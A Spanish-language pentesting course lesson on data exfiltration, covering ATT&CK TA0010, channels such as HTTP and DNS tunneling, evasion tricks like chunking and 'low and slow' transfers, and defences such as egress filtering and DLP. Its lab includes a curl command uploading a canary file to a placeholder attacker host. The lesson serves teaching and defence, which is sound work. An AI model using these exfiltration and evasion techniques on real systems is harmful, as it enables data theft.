

Clase 083 — Exfiltración de datos

Parte: **3 — Hacking ético y pentesting: metodología** · Fuente: *Penetration Testing* (Weidman) · MITRE ATT&CK — táctica *Exfiltration* (TA0010) 🕒 Duración estimada: **120 min** · Nivel: **Avanzado**

⚠️ **Uso ético y legal.** Esta clase enseña a **entender y detectar** cómo un atacante saca datos de una red, para poder demostrarlo en un pentest autorizado y, sobre todo, **defenderse**. Practica únicamente en tu propio laboratorio o dentro del alcance firmado de un engagement. Extraer datos de sistemas ajenos es un delito grave.

Objetivo

Comprender la fase de exfiltración dentro del ciclo de un ataque: cómo se demuestra de forma controlada el impacto real de un compromiso (probar que "los datos podían salir") y, con la misma profundidad, **qué señales deja** y cómo un equipo defensivo (DLP, NSM, egress filtering) la detecta y la bloquea. El objetivo del pentester ético no es robar datos, sino **probar el riesgo y ayudar a cerrarlo**.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

1. **Ubicar** la exfiltración en la kill chain y en MITRE ATT&CK (TA0010) y distinguirla de la simple recolección (collection).
2. **Explicar** los canales de exfiltración comunes (HTTPS, DNS, ICMP, servicios cloud legítimos) y por qué unos son más sigilosos que otros.
3. **Demostrar** de forma controlada, en laboratorio, una transferencia mínima con un archivo *canario* (nunca datos reales/sensibles).
4. **Diseñar** controles defensivos: egress filtering, inspección TLS, DLP, límites de volumen y detección de tunneling.
5. **Documentar** el hallazgo en el informe con impacto de negocio y recomendaciones priorizadas.

Temas

#	Tema	Por qué importa
1	Exfiltración vs collection vs C2	Son fases distintas; confundirlas lleva a detección tardía.
2	Canales: HTTP(S), DNS, ICMP, email, cloud	Cada canal tiene un perfil de detección diferente.
3	Exfiltración "over C2" vs canal alternativo	ATT&CK T1041 vs T1048; cambia la telemetría.
4	Ofuscación: cifrado, encoding, chunking	El atacante evade DLP basado en firmas.
5	Límites de tasa y "low and slow"	El volumen y la velocidad delatan; ir lento evade umbrales.
6	Detección: egress filtering y DLP	El control más efectivo es no dejar salir tráfico no autorizado.
7	Uso de un archivo canario	Cómo probar el riesgo sin tocar datos reales.

Definiciones y características

Exfiltración de datos : Táctica en la que un actor transfiere datos fuera de la red objetivo. Característica clave: en un pentest **ético** se demuestra con datos ficticios/canario, nunca con información real del cliente.

Egress filtering : Control que restringe el tráfico *saliente* a solo lo estrictamente necesario (puertos, destinos, protocolos). Es la contramedida más eficaz: si el tráfico no puede salir, no hay exfiltración.

DLP (Data Loss Prevention) : Conjunto de tecnologías que inspeccionan datos en movimiento/reposo/uso para bloquear la salida de información sensible según políticas (patrones de tarjetas, PII, clasificación).

DNS tunneling : Técnica que codifica datos dentro de consultas/respuestas DNS para sacarlos aprovechando que el puerto 53 casi siempre está permitido. Se detecta por longitud/entropía anómala de subdominios y volumen de consultas.

Archivo canario (honeypot de datos) : Fichero de prueba, marcado y sin valor real, que se usa para demostrar que un canal de salida funciona sin exponer datos del cliente.

Herramientas y preparación

Laboratorio aislado (dos VMs: "atacante" y "víctima" bajo tu control, ambas tuyas). Herramientas de estudio: `tcpdump` /Wireshark para observar el canal, un servidor HTTP propio para el destino, y utilidades de red estándar. Del lado defensivo: reglas de egress en el firewall del lab (iptables/pfSense), y opcionalmente Zeek para ver los logs de DNS/HTTP. **Nunca** uses datos reales; genera un archivo canario:

```
# En la VM víctima (tuya): crear un archivo canario, sin datos reales
echo "CANARIO-PENTEST-$(date +%s) - dato ficticio de laboratorio" > /tmp/canario.txt
```

Laboratorio guiado

Todo ocurre entre **dos máquinas tuyas** en una red aislada. El fin es observar la telemetría y luego **bloquearla**.

1. **Preparar el destino (tu VM atacante).** Levanta un receptor HTTP simple:

```
bash python3 -m http.server 8000 # escucha en tu VM de laboratorio
```

2. **Observar el canal.** En la VM víctima, arranca la captura para ver exactamente qué viaja:

```
bash sudo tcpdump -i eth0 -w /tmp/exfil-lab.pcap host <IP_atacante>
```

3. **Transferir el canario (demostración de impacto).** Sube el archivo ficticio por HTTP:

```
bash curl -F "f=@/tmp/canario.txt" http://<IP_atacante>:8000/upload
```

4. **Analizar como defensor.** Abre `exfil-lab.pcap` en Wireshark: identifica el tamaño, el destino, el protocolo y el patrón temporal. Anota qué firma detectaría esto.
5. **Simular DNS tunneling (solo para verlo en logs).** Genera consultas con subdominios largos hacia tu propio resolovedor de laboratorio y observa en Zeek/ `dns.log` la anomalía de longitud/entropía. Documenta la firma detectable.
6. **Cerrar el canal (la parte que importa).** Aplica egress filtering en el firewall del lab para permitir solo lo necesario y repite el paso 3: la transferencia debe **fallar**.

```
bash # Ejemplo conceptual de política por defecto restrictiva (lab): iptables -P OUTPUT DROP
iptables -A OUTPUT -p udp --dport 53 -d <DNS_interno> -j ACCEPT iptables -A OUTPUT -p tcp --
dport 443 -d <proxy_corporativo> -j ACCEPT
```

7. **Redactar el hallazgo.** Escribe 1 párrafo de impacto + 3 recomendaciones (egress filtering, DLP, monitoreo de DNS).

Ejercicios

1. Clasifica en MITRE ATT&CK: ¿T1041 (over C2) o T1048 (alternative protocol)? Justifica con un ejemplo de cada uno.
2. Explica por qué DNS e ICMP son canales atractivos para un atacante y qué control los neutraliza.
3. Diseña una regla de detección (pseudo-Sigma) para "consulta DNS con subdominio > 50 caracteres y alta entropía".
4. Calcula cuánto tardaría una exfiltración "low and slow" de 1 GB a 1 KB cada 5 min, y por qué esa lentitud evade umbrales de volumen.
5. Propón una política de egress filtering mínima para un servidor que solo debe hablar con un repositorio interno.

Reto verificable

Monta el canal HTTP del laboratorio, captura el tráfico, **luego** aplica egress filtering y demuestra que la transferencia del canario ahora falla.

Criterio de aceptación: entregas (a) el `.pcap` con la transferencia inicial identificada, (b) la regla de egress aplicada, y (c) una captura/log que evidencia el bloqueo posterior. Todo con el archivo canario ficticio; cero datos reales.

⚠ Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
Usar datos reales del cliente para "demostrar"	Nunca. Usa siempre un archivo canario ficticio. La demostración de que el canal existe es suficiente.
El firewall del lab no bloquea nada tras <code>-P OUTPUT DROP</code>	Faltan reglas de estado; añade <code>-A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</code> con cuidado, o revisa el orden de las reglas.
DNS tunneling "no se ve" en los logs	No estás registrando consultas DNS; habilita el <code>dns.log</code> de Zeek o el logging del resolvidor.
Confundir C2 con exfiltración en el informe	El C2 es el canal de control; la exfiltración es la salida de datos. Sepáralos en la narrativa.
Asumir que TLS = indetectable	El metadato (destino, volumen, JA3, timing) sigue siendo visible aunque el contenido esté cifrado.

? Preguntas frecuentes

? **¿Debo exfiltrar datos reales para probar el riesgo al cliente?** No. Basta con demostrar que el canal funciona usando un archivo canario. Extraer datos reales añade riesgo legal y de exposición sin aportar valor.

? **¿Cuál es la defensa número uno?** El *egress filtering*: por defecto denegar todo el tráfico saliente y permitir solo lo imprescindible. Complementado con DLP y monitoreo de DNS.

? **¿Por qué se estudia esto en un curso defensivo?** Porque no puedes detectar ni bloquear lo que no entiendes. Conocer los canales y sus huellas es lo que permite escribir buenas detecciones.

🔗 Referencias

- MITRE ATT&CK — [Exfiltration \(TA0010\)](#)
- MITRE ATT&CK — [T1048 Exfiltration Over Alternative Protocol](#)
- Weidman, G. — *Penetration Testing: A Hands-On Introduction to Hacking*.
- SANS — [lecturas sobre DNS tunneling detection](#) y egress filtering.

➡ Siguiente clase

[Clase 084 - Anti-forense y borrado de huellas \(concepto y limites\)](#)